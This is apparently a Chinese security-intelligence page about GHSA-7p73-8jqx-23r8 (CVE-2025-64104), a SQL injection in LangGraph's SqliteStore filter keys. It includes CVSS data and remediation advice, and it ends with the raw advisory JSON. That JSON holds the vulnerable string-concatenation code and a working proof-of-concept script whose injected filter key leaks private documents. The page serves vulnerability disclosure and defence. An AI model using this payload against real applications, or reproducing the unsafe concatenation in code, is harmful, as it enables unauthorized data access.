CyberGuardAI 安全情报工作区
AI 安全知识情报
LJH 管理员
返回首页 漏洞库

LangGraph SQLite 检查点过滤键 SQL 注入:SqliteStore 的 PoC

摘要与解读

LangGraph的SQLite存储实现以字符串拼接构造查询,过滤键可注入任意SQL,PoC演示绕过访问过滤读取私有文档。

六维情报分析

6 个维度 · 原文可溯源

影响范围

  • langgraph-checkpoint-sqlite · <= 2.0.10(不高于 2.0.10)
  • 来源报告的影响对象是使用 LangGraph SQLite store 实现(langgraph/store/sqlite/base.py 中 SqliteStore)的应用:JSON path 的 key 部分被直接拼接进 SQL 字符串而未参数化,攻击者可注入任意 SQL 并绕过访问控制。触发前提是 filter key 非静态、未经校验或白名单过滤即传入 store;若 key 静态或已校验/白名单化,风险不适用。LangSmith 部署(原 LangGraph Platform)依赖不同 checkpointer 实现,不受影响。后果按 CVSS 3.1 向量为机密性高、完整性低、可用性无影响。

    原文依据 · 3

    中文译文

    SqliteStore", "description": "### 摘要\nLangGraph 的 SQLite 存储实现存在 SQL 注入漏洞:它直接拼接字符串,未进行适当的参数化,可能使攻击者注入任意 SQL 并绕过访问控制。\n\n### 详情\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`]([源链接])\n\nJSON 路径的键部分未经清理,直接拼接到 SQL 字符串中。原文至此截断。

    原文引文

    SqliteStore", "description": "### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. The
    查看原文 · v1
    nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_st
    查看原文 · v1

    中文译文

    "site_admin": false }, "type": "报告者" } ], "comments": 2, "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "score": 7.3 }, "epss": { "percentage": 0.00241, "percentile": 0.15135 } }

    原文引文

    "site_admin": false }, "type": "reporter" } ], "comments": 2, "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "score": 7.3 }, "epss": { "percentage": 0.00241, "percentile": 0.15135 } }
    查看原文 · v1

关联资产

  • langgraph-checkpoint-sqlite · pip
  • 原文明示的关联资产:Python 包 langgraph-checkpoint-sqlite(含 langgraph/store/sqlite/base.py 中的 SqliteStore 类)、其 SQLite 存储后端与 JSON path filter key 输入接口,以及 LangGraph 源码仓库 langchain-ai/langgraph。适用条件为部署使用该 SQLite store 且 filter key 非静态或未经校验/白名单;LangSmith 部署因使用不同 checkpointer 实现不适用。未提供本地资产清单,未与任何本地资产匹配。

    原文依据 · 3

    中文译文

    SqliteStore", "description": "### 摘要\nLangGraph 的 SQLite 存储实现存在 SQL 注入漏洞:它直接拼接字符串,未进行适当的参数化,可能使攻击者注入任意 SQL 并绕过访问控制。\n\n### 详情\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`]([源链接])\n\nJSON 路径的键部分未经清理,直接拼接到 SQL 字符串中。原文至此截断。

    原文引文

    SqliteStore", "description": "### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. The
    查看原文 · v1
    nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_st
    查看原文 · v1
    h-checkpoint-sqlite" }, "vulnerable_version_range": "<= 2.0.10", "first_patched_version": "2.0.11", "vulnerable_functions": [] } ], "cvss_severities": { "cvss_v3": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "score": 7.3 }, "cvss_v4": { "vector_string": null, "score": 0.0 } }, "cwes": [ { "cwe_id": "CWE-89", "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')" } ], "credits": [ { "user": { "login": "ColeMurray",
    查看原文 · v1

风险评估

  • 已报道机制为 CWE-89 SQL 注入:直接字符串拼接使 filter key 可改变 SQL 语义,进而绕过访问控制。触发条件为应用将外部可控或未校验的 filter key 传入 SqliteStore 查询路径;防护优先级应高于一般配置加固,因为公告定级 severity 为 high、CVSS 3.1 为 7.3(AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N),EPSS 为 0.00241(百分位 0.15135),即利用门槛低但短期被利用概率信号较弱。

    原文依据 · 3

    中文译文

    SqliteStore", "description": "### 摘要\nLangGraph 的 SQLite 存储实现存在 SQL 注入漏洞:它直接拼接字符串,未进行适当的参数化,可能使攻击者注入任意 SQL 并绕过访问控制。\n\n### 详情\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`]([源链接])\n\nJSON 路径的键部分未经清理,直接拼接到 SQL 字符串中。原文至此截断。

    原文引文

    SqliteStore", "description": "### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. The
    查看原文 · v1
    ", "severity": "high", "repository_advisory_url": "https://api.github.com/repos/langchain-ai/langgraph/security-advisories/GHSA-7p73-8jqx-23r8", "source_code_location": "https://github.com/langchain-ai/langgraph", "identifiers": [ { "value": "GHSA-7p73-8jqx-23r8", "type": "GHSA" }, { "value": "CVE-2025-64104", "type": "CVE" } ], "references": [ "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8", "https://nvd.nist.gov/vuln/detail/CVE-2025-64104", "https://github.com/langchain-ai/langgraph/commit/bc9
    查看原文 · v1

    中文译文

    "site_admin": false }, "type": "报告者" } ], "comments": 2, "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "score": 7.3 }, "epss": { "percentage": 0.00241, "percentile": 0.15135 } }

    原文引文

    "site_admin": false }, "type": "reporter" } ], "comments": 2, "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "score": 7.3 }, "epss": { "percentage": 0.00241, "percentile": 0.15135 } }
    查看原文 · v1

相关研究

  • 来源为 GitHub 安全公告 GHSA-7p73-8jqx-23r8(对应 CVE-2025-64104),由报告者 ColeMurray 提交,含 2 条评论,并附 PoC 章节与最小复现脚本框架(导入 langgraph.store.sqlite 的 SqliteStore 并创建测试数据)。公告定位到具体源码行并说明拼接点,贡献在于把注入点、受影响包版本区间与修复版本对应起来;材料未提供修复提交的代码细节,链接内容未读取。

    原文依据 · 4

    中文译文

    SqliteStore", "description": "### 摘要\nLangGraph 的 SQLite 存储实现存在 SQL 注入漏洞:它直接拼接字符串,未进行适当的参数化,可能使攻击者注入任意 SQL 并绕过访问控制。\n\n### 详情\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`]([源链接])\n\nJSON 路径的键部分未经清理,直接拼接到 SQL 字符串中。原文至此截断。

    原文引文

    SqliteStore", "description": "### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. The
    查看原文 · v1
    nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_st
    查看原文 · v1
    h-checkpoint-sqlite" }, "vulnerable_version_range": "<= 2.0.10", "first_patched_version": "2.0.11", "vulnerable_functions": [] } ], "cvss_severities": { "cvss_v3": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "score": 7.3 }, "cvss_v4": { "vector_string": null, "score": 0.0 } }, "cwes": [ { "cwe_id": "CWE-89", "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')" } ], "credits": [ { "user": { "login": "ColeMurray",
    查看原文 · v1
    ", "severity": "high", "repository_advisory_url": "https://api.github.com/repos/langchain-ai/langgraph/security-advisories/GHSA-7p73-8jqx-23r8", "source_code_location": "https://github.com/langchain-ai/langgraph", "identifiers": [ { "value": "GHSA-7p73-8jqx-23r8", "type": "GHSA" }, { "value": "CVE-2025-64104", "type": "CVE" } ], "references": [ "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8", "https://nvd.nist.gov/vuln/detail/CVE-2025-64104", "https://github.com/langchain-ai/langgraph/commit/bc9
    查看原文 · v1

验证资料

  • 来源给出的可核查数据:受影响包为 langgraph-checkpoint-sqlite,vulnerable_version_range 为 <= 2.0.10,first_patched_version 为 2.0.11;CVSS v4 向量为空、score 为 0.0,与 CVSS v3 的 7.3 并存。防御性核查可围绕版本比对(是否 <= 2.0.10)、filter key 来源是否静态或经白名单校验、以及 SQLite 查询日志中 filter key 位置出现异常 SQL 片段的迹象展开;这些指标为分析建议,来源未给出实测日志数据。

    原文依据 · 3
    h-checkpoint-sqlite" }, "vulnerable_version_range": "<= 2.0.10", "first_patched_version": "2.0.11", "vulnerable_functions": [] } ], "cvss_severities": { "cvss_v3": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "score": 7.3 }, "cvss_v4": { "vector_string": null, "score": 0.0 } }, "cwes": [ { "cwe_id": "CWE-89", "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')" } ], "credits": [ { "user": { "login": "ColeMurray",
    查看原文 · v1
    nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_st
    查看原文 · v1

    中文译文

    SqliteStore", "description": "### 摘要\nLangGraph 的 SQLite 存储实现存在 SQL 注入漏洞:它直接拼接字符串,未进行适当的参数化,可能使攻击者注入任意 SQL 并绕过访问控制。\n\n### 详情\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`]([源链接])\n\nJSON 路径的键部分未经清理,直接拼接到 SQL 字符串中。原文至此截断。

    原文引文

    SqliteStore", "description": "### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. The
    查看原文 · v1

处置建议

  • 按序处置:一、清点依赖 langgraph-checkpoint-sqlite 的服务,将版本升级至 first_patched_version 2.0.11 及以上,替换 <= 2.0.10 的部署;二、在升级前对传入 store 的 filter key 实施静态化或白名单校验,依据是公告明确该条件下风险不适用;三、对 SQLite 查询路径增加参数化封装与异常 SQL 片段监测,作为纵深防御;四、回归验证覆盖 filter key 含特殊字符的查询场景,确认访问控制边界生效。上述为基于来源事实的条件性建议,来源未逐条提出。

    原文依据 · 3
    h-checkpoint-sqlite" }, "vulnerable_version_range": "<= 2.0.10", "first_patched_version": "2.0.11", "vulnerable_functions": [] } ], "cvss_severities": { "cvss_v3": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "score": 7.3 }, "cvss_v4": { "vector_string": null, "score": 0.0 } }, "cwes": [ { "cwe_id": "CWE-89", "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')" } ], "credits": [ { "user": { "login": "ColeMurray",
    查看原文 · v1
    nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_st
    查看原文 · v1

    中文译文

    SqliteStore", "description": "### 摘要\nLangGraph 的 SQLite 存储实现存在 SQL 注入漏洞:它直接拼接字符串,未进行适当的参数化,可能使攻击者注入任意 SQL 并绕过访问控制。\n\n### 详情\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`]([源链接])\n\nJSON 路径的键部分未经清理,直接拼接到 SQL 字符串中。原文至此截断。

    原文引文

    SqliteStore", "description": "### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. The
    查看原文 · v1
模型与引文记录
模型
deepseek-flash
生成时间
记录编号
REQ-58157cdf935240dab8b6babbd8a15310
分析原文
查看原文 · v1

情报标识:GHSA-7p73-8jqx-23r8 · CVE-2025-64104

来源字段与 CVSS 指标

受影响产品

langgraph-checkpoint-sqlite · pip

查看来源依据

结构化证据路径 $.vulnerabilities[0].package

{"ecosystem": "pip", "name": "langgraph-checkpoint-sqlite"}

受影响版本

langgraph-checkpoint-sqlite · <= 2.0.10(不高于 2.0.10)

查看来源依据

结构化证据路径 $.vulnerabilities[0].vulnerable_version_range

"<= 2.0.10"
字段所属产品与版本上下文
[
  {
    "format": "github_advisory",
    "json_path": "$.vulnerabilities[0]",
    "quote": "{\"first_patched_version\": \"2.0.11\", \"package\": {\"ecosystem\": \"pip\", \"name\": \"langgraph-checkpoint-sqlite\"}, \"vulnerable_functions\": [], \"vulnerable_version_range\": \"\u003c= 2.0.10\"}",
    "record_path": "$.vulnerabilities[0]"
  }
]

来源列出的修复版本

langgraph-checkpoint-sqlite · 2.0.11

查看来源依据

结构化证据路径 $.vulnerabilities[0].first_patched_version

"2.0.11"
字段所属产品与版本上下文
[
  {
    "format": "github_advisory",
    "json_path": "$.vulnerabilities[0]",
    "quote": "{\"first_patched_version\": \"2.0.11\", \"package\": {\"ecosystem\": \"pip\", \"name\": \"langgraph-checkpoint-sqlite\"}, \"vulnerable_functions\": [], \"vulnerable_version_range\": \"\u003c= 2.0.10\"}",
    "record_path": "$.vulnerabilities[0]"
  }
]

来源风险评分

7.3 / 10 · CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N · CVSS 3.1

攻击途径
本地 (AV:L)
攻击复杂度
低 (AC:L)
所需权限
低权限 (PR:L)
用户交互
不需要 (UI:N)
安全权限范围
改变 (S:C)
机密性影响
高 (C:H)
完整性影响
低 (I:L)
可用性影响
无 (A:N)

CVSS 3.1 指标说明

查看来源依据 · 2 处相同值

结构化证据路径 $.cvss

{"score": 7.3, "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"}

结构化证据路径 $.cvss_severities.cvss_v3

{"score": 7.3, "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"}

0.0 / 10 · CVSS v4(来源字段)

查看来源依据

结构化证据路径 $.cvss_severities.cvss_v4

{"score": 0.0, "vector_string": null}

图片与附件

1 项关联材料
  • advisories.json已归档 · 484.5 KB
    采集与来源记录
    文件名称
    advisories.json
    记录大小
    496090 字节
    文件格式
    application/json
    关联登记时间
    2026-10-31 17:24 UTC
    关联原文
    v1
    保存时校验
    2560688b97e50c11bce138e0065ac8f19dfb63580853a345189f8e37e5fabd3f

资料档案

文献来源与参考链接

当前保存的来源版本 · v1

来源更新时间
2026-10-28T21:08:45+00:00
结构化格式
github_advisory
原始标题与分类记录

LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore

研究方向
攻击方法
影响维度
机密性、完整性
风险类型
隐私泄露、供应链风险
相关技术
待人工确认

当前为离线关键词规则模式。

分类规则与原始字段
攻击方法 · injection
LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore { "ghsa_id": "GHSA-7p73-8jqx-23r8", "cve_id": "CVE-2025-64104", "url": "h
隐私泄露 · privacy
url": "https://api.github.com/users/ColeMurray/events{/privacy}", "received_events_url": "https://api.github.com/users/ColeMurray/received_events",
供应链风险 · vulnerability
uding specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\
机密性 · secret
,), \"private\", {\"access\": \"private\", \"data\": \"secret\", \"password\": \"123\"})\n \n # Normal query - returns 1 public document\n normal = stor
完整性 · injection
LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore { "ghsa_id": "GHSA-7p73-8jqx-23r8", "cve_id": "CVE-2025-64104", "url": "h
{
  "ai_relevance": {
    "evidence": [
      {
        "end_offset": 724,
        "location": "title_and_content",
        "quote": "langchain",
        "rule": "ai_component",
        "start_offset": 715
      },
      {
        "end_offset": 3245,
        "location": "title_and_content",
        "quote": "langchain",
        "rule": "ai_component",
        "start_offset": 3236
      },
      {
        "end_offset": 3356,
        "location": "title_and_content",
        "quote": "langchain",
        "rule": "ai_component",
        "start_offset": 3347
      },
      {
        "end_offset": 3584,
        "location": "title_and_content",
        "quote": "langchain",
        "rule": "ai_component",
        "start_offset": 3575
      },
      {
        "end_offset": 3728,
        "location": "title_and_content",
        "quote": "langchain",
        "rule": "ai_component",
        "start_offset": 3719
      }
    ],
    "matches": [
      {
        "end_offset": 724,
        "location": "title_and_content",
        "quote": "langchain",
        "rule": "ai_component",
        "start_offset": 715
      },
      {
        "end_offset": 3245,
        "location": "title_and_content",
        "quote": "langchain",
        "rule": "ai_component",
        "start_offset": 3236
      },
      {
        "end_offset": 3356,
        "location": "title_and_content",
        "quote": "langchain",
        "rule": "ai_component",
        "start_offset": 3347
      },
      {
        "end_offset": 3584,
        "location": "title_and_content",
        "quote": "langchain",
        "rule": "ai_component",
        "start_offset": 3575
      },
      {
        "end_offset": 3728,
        "location": "title_and_content",
        "quote": "langchain",
        "rule": "ai_component",
        "start_offset": 3719
      }
    ],
    "method": "explainable_keyword_rules",
    "reason": "Matched AI topic or component evidence",
    "relevant": true
  },
  "entity_ids": [
    "GHSA-7p73-8jqx-23r8",
    "CVE-2025-64104"
  ],
  "facts": [
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$.vulnerabilities[0].package",
        "quote": "{\"ecosystem\": \"pip\", \"name\": \"langgraph-checkpoint-sqlite\"}",
        "record_path": "$.vulnerabilities[0].package"
      },
      "field": "affected_products",
      "value": {
        "ecosystem": "pip",
        "name": "langgraph-checkpoint-sqlite"
      }
    },
    {
      "evidence": {
        "context": [
          {
            "format": "github_advisory",
            "json_path": "$.vulnerabilities[0]",
            "quote": "{\"first_patched_version\": \"2.0.11\", \"package\": {\"ecosystem\": \"pip\", \"name\": \"langgraph-checkpoint-sqlite\"}, \"vulnerable_functions\": [], \"vulnerable_version_range\": \"\u003c= 2.0.10\"}",
            "record_path": "$.vulnerabilities[0]"
          }
        ],
        "format": "github_advisory",
        "json_path": "$.vulnerabilities[0].vulnerable_version_range",
        "quote": "\"\u003c= 2.0.10\"",
        "record_path": "$.vulnerabilities[0].vulnerable_version_range"
      },
      "field": "affected_versions",
      "value": {
        "package": {
          "ecosystem": "pip",
          "name": "langgraph-checkpoint-sqlite"
        },
        "range": "\u003c= 2.0.10"
      }
    },
    {
      "evidence": {
        "context": [
          {
            "format": "github_advisory",
            "json_path": "$.vulnerabilities[0]",
            "quote": "{\"first_patched_version\": \"2.0.11\", \"package\": {\"ecosystem\": \"pip\", \"name\": \"langgraph-checkpoint-sqlite\"}, \"vulnerable_functions\": [], \"vulnerable_version_range\": \"\u003c= 2.0.10\"}",
            "record_path": "$.vulnerabilities[0]"
          }
        ],
        "format": "github_advisory",
        "json_path": "$.vulnerabilities[0].first_patched_version",
        "quote": "\"2.0.11\"",
        "record_path": "$.vulnerabilities[0].first_patched_version"
      },
      "field": "fixed_versions",
      "value": {
        "package": {
          "ecosystem": "pip",
          "name": "langgraph-checkpoint-sqlite"
        },
        "version": "2.0.11"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$.cvss",
        "quote": "{\"score\": 7.3, \"vector_string\": \"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N\"}",
        "record_path": "$.cvss"
      },
      "field": "cvss",
      "value": {
        "score": 7.3,
        "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$.cvss_severities.cvss_v3",
        "quote": "{\"score\": 7.3, \"vector_string\": \"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N\"}",
        "record_path": "$.cvss_severities.cvss_v3"
      },
      "field": "cvss",
      "value": {
        "score": 7.3,
        "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$.cvss_severities.cvss_v4",
        "quote": "{\"score\": 0.0, \"vector_string\": null}",
        "record_path": "$.cvss_severities.cvss_v4"
      },
      "field": "cvss",
      "value": {
        "score": 0.0,
        "vector": null
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$.references[0]",
        "quote": "\"https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8\"",
        "record_path": "$.references[0]"
      },
      "field": "references",
      "value": {
        "types": [
          "WEB"
        ],
        "url": "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$.references[1]",
        "quote": "\"https://nvd.nist.gov/vuln/detail/CVE-2025-64104\"",
        "record_path": "$.references[1]"
      },
      "field": "references",
      "value": {
        "types": [
          "WEB"
        ],
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64104"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$.references[2]",
        "quote": "\"https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4\"",
        "record_path": "$.references[2]"
      },
      "field": "references",
      "value": {
        "types": [
          "WEB"
        ],
        "url": "https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$.references[3]",
        "quote": "\"https://github.com/pypa/advisory-database/tree/main/vulns/langgraph-checkpoint-sqlite/PYSEC-2026-1529.yaml\"",
        "record_path": "$.references[3]"
      },
      "field": "references",
      "value": {
        "types": [
          "WEB"
        ],
        "url": "https://github.com/pypa/advisory-database/tree/main/vulns/langgraph-checkpoint-sqlite/PYSEC-2026-1529.yaml"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$.references[4]",
        "quote": "\"https://github.com/advisories/GHSA-7p73-8jqx-23r8\"",
        "record_path": "$.references[4]"
      },
      "field": "references",
      "value": {
        "types": [
          "WEB"
        ],
        "url": "https://github.com/advisories/GHSA-7p73-8jqx-23r8"
      }
    }
  ],
  "method": "source_grounded_extraction",
  "unknown_fields": [
    "mitigations",
    "papers",
    "poc"
  ]
}
原始采集文本
{
  "ghsa_id": "GHSA-7p73-8jqx-23r8",
  "cve_id": "CVE-2025-64104",
  "url": "https://api.github.com/advisories/GHSA-7p73-8jqx-23r8",
  "html_url": "https://github.com/advisories/GHSA-7p73-8jqx-23r8",
  "summary": "LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore",
  "description": "### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.\n\n```python\n  filter_conditions.append(\n      \"json_extract(value, '$.\"\n      + key  # <-- Directly concatenated, no escaping!\n      + \"') = '\"\n      + value.replace(\"'\", \"''\")  # <-- Only value is escaped\n      + \"'\"\n  )\n```\n\n### Who is affected\n\nThis issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. \n\nAn application is vulnerable only if it:\n1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**\n2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).\n\nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_string(\":memory:\") as store:\n    store.setup()\n    \n    # Add public and private documents\n    store.put((\"docs\",), \"public\", {\"access\": \"public\", \"data\": \"public info\"})\n    store.put((\"docs\",), \"private\", {\"access\": \"private\", \"data\": \"secret\", \"password\": \"123\"})\n    \n    # Normal query - returns 1 public document\n    normal = store.search((\"docs\",), filter={\"access\": \"public\"})\n    print(f\"Normal query: {len(normal)} docs\")\n    \n    # SQL injection via malicious key\n    malicious_key = \"access') = 'public' OR '1'='1' OR json_extract(value, '$.\"\n    injected = store.search((\"docs\",), filter={malicious_key: \"dummy\"})\n    \n    print(f\"Injected query: {len(injected)} docs\")\n    for doc in injected:\n        if doc.value.get(\"access\") == \"private\":\n            print(f\"LEAKED: {doc.value}\")\n```",
  "type": "reviewed",
  "severity": "high",
  "repository_advisory_url": "https://api.github.com/repos/langchain-ai/langgraph/security-advisories/GHSA-7p73-8jqx-23r8",
  "source_code_location": "https://github.com/langchain-ai/langgraph",
  "identifiers": [
    {
      "value": "GHSA-7p73-8jqx-23r8",
      "type": "GHSA"
    },
    {
      "value": "CVE-2025-64104",
      "type": "CVE"
    }
  ],
  "references": [
    "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8",
    "https://nvd.nist.gov/vuln/detail/CVE-2025-64104",
    "https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4",
    "https://github.com/pypa/advisory-database/tree/main/vulns/langgraph-checkpoint-sqlite/PYSEC-2026-1529.yaml",
    "https://github.com/advisories/GHSA-7p73-8jqx-23r8"
  ],
  "published_at": "2025-10-29T22:21:43Z",
  "updated_at": "2026-10-28T21:08:45Z",
  "github_reviewed_at": "2025-10-29T22:21:43Z",
  "nvd_published_at": "2025-10-29T19:15:39Z",
  "withdrawn_at": null,
  "vulnerabilities": [
    {
      "package": {
